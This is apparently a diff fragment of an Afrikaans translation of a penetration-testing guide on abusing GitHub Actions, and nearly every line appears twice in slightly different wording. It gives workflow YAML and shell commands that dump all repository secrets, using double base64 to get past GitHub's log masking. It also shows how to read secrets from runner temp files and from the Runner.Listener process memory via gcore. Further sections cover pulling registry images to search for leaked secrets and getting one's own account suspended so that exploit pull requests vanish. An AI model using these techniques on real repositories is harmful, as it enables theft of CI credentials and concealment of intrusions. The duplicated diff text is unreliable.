- As die secret of token op 'n **environment variable** gestel is, kan dit direk deur die omgewing met **`printenv`** toeganklik wees.
- As die geheim of token op 'n **omgewingsveranderlike** gestel is, kan dit direk via die omgewing met **`printenv`** verkry word.
<details>
<summary>Lys secrets in Github Action-uitset</summary>
<summary>Lys geheime in Github Action-uitset</summary>
```yaml
name: list_env
on:
@@ -503,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>Kry reverse shell with secrets</summary>
<summary>Kry reverse shell met secrets</summary>
```yaml
name: revshell
on:
@@ -526,7 +526,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- As die secret **direk in 'n uitdrukking** gebruik word, word die gegenereerde shell script **on-disk** gestoor en is dit toeganklik.
- As die secret gebruik word **direk in 'n uitdrukking**, word die gegenereerde shell-skrip **op-disk** gestoor en is dit toeganklik.
- ```bash
cat /home/runner/work/_temp/*
```
@@ -534,7 +534,7 @@ cat /home/runner/work/_temp/*
- ```bash
ps axe | grep node
```
- Vir 'n **custom action** kan die risiko wissel, afhangend van hoe 'n program die secret gebruik wat dit uit die **argument** verkry het:
- Vir 'n **custom action**, kan die risiko wissel afhangend van hoe 'n program die secret gebruik wat dit vanaf die **argument** bekom het:
```yaml
uses: fakeaction/publish@v3
@@ -542,7 +542,7 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
- Enumereer alle secrets via die secrets context (collaborator level). 'n Contributor met write access kan 'n workflow op enige branch wysig om alle repository/org/environment secrets te dump. Gebruik double base64 om GitHub’s log masking te omseil en decodeer lokaal:
- Som alle secrets op via die secrets context (collaborator level). 'n Contributor met write access kan 'n workflow op enige branch wysig om alle repository/org/environment secrets te dump. Gebruik dubbele base64 om GitHub’s log masking te omseil en decodeer plaaslik:
```yaml
name: Steal secrets
@@ -558,35 +558,35 @@ run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
```
Dekodeer lokaal:
Dekodeer plaaslik:
```bash
echo "ZXdv...Zz09" | base64 -d | base64 -d
```
Wenk: vir stealth tydens toetsing, enkripteer dit voordat jy dit uitdruk (openssl is preinstalled on GitHub-hosted runners).
Wenk: vir stealth tydens toetsing, enkripteer voor druk (openssl is preinstalled on GitHub-hosted runners).
### Misbruik van Self-hosted runners
Die manier om te vind watter **GitHub Actions are being executed in non-github infrastructure** is om te soek na **`runs-on: self-hosted`** in die GitHub Action configuration yaml.
Die manier om te vind watter **Github Actions in non-github infrastructure uitgevoer word** is om te soek na **`runs-on: self-hosted`** in die Github Action configuration yaml.
**Self-hosted** runners kan dalk toegang hê tot **extra sensitive information**, tot ander **network systems** (vulnerable endpoints in the network? metadata service?) of, selfs al is dit geïsoleer en vernietig, kan **more than one action might be run at the same time** en die kwaadwillige een kan **steal the secrets** van die ander een.
**Self-hosted** runners mag toegang hê tot **ekstra sensitiewe inligting**, tot ander **netwerkstelsels** (kwesbare endpunte in die netwerk? metadata service?) of, selfs as dit geïsoleer en vernietig word, **kan meer as een action terselfdertyd uitgevoer word** en die kwaadwillige een kan die **secrets** van die ander steel.
In self-hosted runners is dit ook moontlik om die **secrets from the \_Runner.Listener**\_\*\* process\*\* te bekom, wat al die secrets van die workflows by enige stap sal bevat deur sy geheue te dump:
In self-hosted runners is dit ook moontlik om die **secrets from the \_Runner.Listener**\_\*\* process\*\* wat al die secrets van die workflows by enige stap sal bevat deur sy geheue te dump:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Kyk na [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
Kyk na [**hierdie pos vir meer inligting**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Github Docker Beelde Register
### Github Docker Images Registry
Dit is moontlik om Github actions te maak wat 'n Docker image binne Github sal **bou en stoor**.\
'n Voorbeeld kan in die volgende inklapbare element gevind word:
Dit is moontlik om Github actions te maak wat **'n Docker image binne Github bou en stoor**.\
'n Voorbeeld kan in die volgende inklapbare gedeelte gevind word:
<details>
<summary>Github Action Bou & Push Docker Image</summary>
<summary>Github Action Build & Push Docker Image</summary>
```yaml
[...]
@@ -617,31 +617,31 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
</details>
Soos jy in die vorige kode kon sien, word die Github registry gehuisves op **`ghcr.io`**.
Soos jy in die vorige kode kon sien, word die Github-register gehuisves op **`ghcr.io`**.
'n Gebruiker met lees-permissies op die repo sal dan in staat wees om die Docker Image af te laai met 'n personal access token:
'n Gebruiker met leesregte op die repo sal dan die Docker Image kan aflaai met behulp van 'n personal access token:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Then, the user could search for **leaked secrets in the Docker image layers:**
Dan kan die gebruiker soek na **leaked secrets in die Docker image layers:**
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### Gevoelige inligting in Github Actions logs
### Sensitiewe inligting in Github Actions logs
Selfs al probeer **Github** geheime waardes in die actions logs opspoor en verberg, sal ander sensitiewe data wat tydens die uitvoering van die action gegenereer is nie verborge wees nie. Byvoorbeeld 'n JWT wat met 'n geheime waarde geteken is, sal nie verberg word nie tensy dit [specifiek gekonfigureer](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) is.
Selfs al probeer **Github** geheime waardes in die Github Actions logs opspoor en dit nie wys nie, sal **ander sensitiewe data** wat tydens die uitvoering van die action gegenereer is nie weggesteek word nie. Byvoorbeeld, 'n JWT wat met 'n geheime waarde onderteken is, sal nie weggesteek word nie tensy dit [spesifiek gekonfigureer](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) is.
## Om jou spore te verberg
## Covering your Tracks
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Eerstens is enige PR wat geskep word duidelik sigbaar vir die publiek in Github en vir die geteikende GitHub-rekening. Op GitHub volgens verstek kan ons **nie 'n PR van die internet verwyder nie**, maar daar is 'n draai. Vir Github-rekeninge wat deur Github **geskors** word, word al hul **PRs outomaties verwyder** en van die internet verwyder. Dus, om jou aktiwiteit te verberg, moet jy óf jou **GitHub account suspended** kry óf jou rekening laat gemerk word. Dit sal **al jou aktiwiteite** op GitHub van die internet verberg (basies al jou exploit PRs verwyder).
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Eerstens, enige PR wat ingedien word is duidelik sigbaar vir die publiek in Github en vir die geteikende GitHub-rekening. In GitHub kan ons standaard nie 'n PR van die internet verwyder nie, maar daar is 'n kink in die kabel. Vir Github-rekeninge wat deur Github **geskort** is, word al hul **PRs outomaties uitgevee** en van die internet verwyder. Dus, om jou aktiwiteit te verberg, moet jy óf jou **GitHub account suspended or get your account flagged**. Dit sou **al jou aktiwiteite** op GitHub van die internet verberg (basies al jou exploit PRs verwyder).
'n Organisasie op GitHub is baie proaktief in die rapporteer van rekeninge aan GitHub. Alles wat jy hoef te doen is “some stuff” in 'n Issue te deel en hulle sal sorg dat jou rekening binne 12 uur geskors word :p en daar het jy dit — jou exploit onsigbaar op GitHub gemaak.
'n Organisasie op GitHub is baie proaktief in die rapporteer van rekeninge aan GitHub. Alles wat jy hoef te doen is om “some stuff” in 'n Issue te deel en hulle sal seker maak jou rekening binne 12 uur geskors is :p en daar het jy dit — jou exploit onsigbaar op github gemaak.
> [!WARNING]
> Die enigste manier vir 'n organisasie om uit te vind dat hulle geteiken is, is om GitHub logs vanaf SIEM na te gaan, aangesien die PR vanaf die GitHub UI verwyder sal wees.
> Die enigste manier vir 'n organisasie om uit te vind dat hulle geteiken is, is om GitHub logs van SIEM na te gaan aangesien die PR vanaf die GitHub UI verwyder sou wees.
## Verwysings